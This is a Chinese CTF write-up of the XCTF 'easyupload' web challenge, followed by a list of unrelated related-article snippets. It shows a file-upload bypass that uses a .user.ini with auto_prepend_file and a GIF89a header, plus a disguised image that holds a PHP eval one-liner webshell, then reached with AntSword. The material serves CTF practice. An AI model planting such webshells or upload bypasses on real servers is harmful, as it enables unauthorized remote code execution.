【web | CTF】攻防世界 easyupload

天命:好像也不太easy

目录

步骤一:准备文件

步骤二:上传文件


本条题目有好几个防御点:

  1. 后缀名防御:只能上传图片格式
  2. 内容防御:内容不能有php
  3. 图片头防御:检测文件的头部信息,是否是图片头

首先判断只能上传图片格式的话,

那只能通过其他漏洞来把图片解析成php才能构成漏洞了

看了一下别人wp,原来是利用php的配置文件来实现漏洞攻击

php的 user.ini 配置文件里,有一个参数是在文件运行前把某个文件包含进来的

auto_prepend_file=文件名

我们只需要做一个局部配置文件,即可触发效果

然后上传图片,把图片包含进来即可

就相当于触发了文件包含漏洞

步骤一:准备文件

准备 .user.ini 文件,这里的GIF89a是用来绕过防御三(看上面)

GIF89a    
auto_prepend_file=a.jpg

准备 a.jpg 文件,这里取消php

采用了短标签写法,php7.0之后弃用,7.4好像就取消了,所以这题应该是php5

GIF89a   
<?=@eval($_POST['pass']);?>

步骤二:上传文件

先上传 .user.ini ,记得改成图片类型

再上传 a.jpg ,正常上传就行

然后查看一下流量去哪里了

说实话这里我也没看懂,只知道 .user.ini文件会应该 php 文件来包含 a.jpg

所以我们的木马应该是在这个 index.php 文件里连接

中国蚁剑getshell完事

flag在最外面的地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/444580.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AI大模型应用开发】【附】常用Prompt记录 - 论文全文写作

后面我会不定时更新下我看过的觉得比较好的Prompt&#xff0c;与大家分享&#xff0c;自己也做下记录。 切记&#xff1a;不要全部寄希望于Prompt和大模型能完成你的工作&#xff0c;它的输出天花板&#xff0c;取决于你的认知和能力。你在使用Prompt前&#xff0c;你应该具有对…

如何使用java来操作git/gitlab?

在我们的学习和开发过程中&#xff0c;git作为一个优秀的分布式版本控制工具是经常会被我们使用到的&#xff0c;那么如何通过java代码来实现Git的更新&#xff0c;提交&#xff0c;推送等操作呢&#xff1f;下面整理了三种实现方式&#xff1a; 1.首先我们会想到的应该是寻找市…

2024年【煤炭生产经营单位(安全生产管理人员)】考试题及煤炭生产经营单位(安全生产管理人员)试题及解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 煤炭生产经营单位&#xff08;安全生产管理人员&#xff09;考试题是安全生产模拟考试一点通生成的&#xff0c;煤炭生产经营单位&#xff08;安全生产管理人员&#xff09;证模拟考试题库是根据煤炭生产经营单位&…

Flink实战五_状态机制

接上文&#xff1a;Flink实战四_TableAPI&SQL 在学习Flink的状态机制之前&#xff0c;我们需要理解什么是状态。回顾我们之前介绍的很多流计算的计算过程&#xff0c;有些计算方法&#xff0c;比如说我们之前多次使用的将stock.txt中的一行文本数据转换成Stock股票对象的ma…

某赛通电子文档安全管理系统 PolicyAjax SQL注入漏洞复现

0x01 产品简介 某赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智能…

TypeScript实战教程(一):表单上传与后端处理

TypeScript实战教程&#xff08;一&#xff09;&#xff1a;表单上传与后端处理 文章目录 TypeScript实战教程&#xff08;一&#xff09;&#xff1a;表单上传与后端处理一、前言1、TypeScript介绍2、TypeScript的关键特性包括&#xff1a;3、使用场景4、编译过程 二、环境配置…

【RT-DETR有效改进】 利用Damo-YOLO的RepGFPN改进特征融合层(高效重参数化Neck)

👑欢迎大家订阅本专栏,一起学习RT-DETR👑 一、本文介绍 本文给大家带来的改进机制是Damo-YOLO的RepGFPN(重参数化泛化特征金字塔网络),利用其优化RT-DETR的Neck部分,可以在不影响计算量的同时大幅度涨点(亲测在小目标和大目标检测的数据集上效果均表现良好涨点幅…

Python代码重构库之rope使用详解

概要 Python是一门强大的编程语言,但在大型项目中,维护和重构代码可能会变得复杂和困难。为了提高开发人员的效率和准确性,有许多工具可用于辅助代码重构和智能代码补全。其中之一是Python Rope。 Python Rope是一个用于Python编程语言的强大工具,它提供了丰富的功能,包…

Idea编写mapper.xml文件提示表名和字段

一、连接database 二、setting- > language -> sql Dialects中 的选项设为 mysql就可以了 三、测试

接口自动化代码不会写?试试RunnerGo

RunnerGo支持自动化测试功能&#xff0c;RunnerGo的工作流程是&#xff1a;接口管理-场景管理-性能测试-自动化测试&#xff0c;所以自动化测试的运行内容为场景下的用例&#xff0c;我们可以在“场景管理”中预先配置好该场景下的用例&#xff0c;也可以在自动化测试中创建用例…

VSCode 设置代理

Open Visual Studio Code, click the settings icon in the lower left corner, and click Settings.

【SpringBoot3】Spring 请求处理流程,自定义返回类型处理(HttpMessageConverter)

一、Spring Boot 请求处理 1、请求处理流程 Spring Boot 的接口请求处理流程主要基于 Spring MVC 架构&#xff0c;以下是详细的请求处理流程&#xff1a; 客户端发送请求&#xff1a;客户端发送HTTP请求到Spring Boot应用的URL。 DispatcherServlet 接收请求&#xff1a;Sp…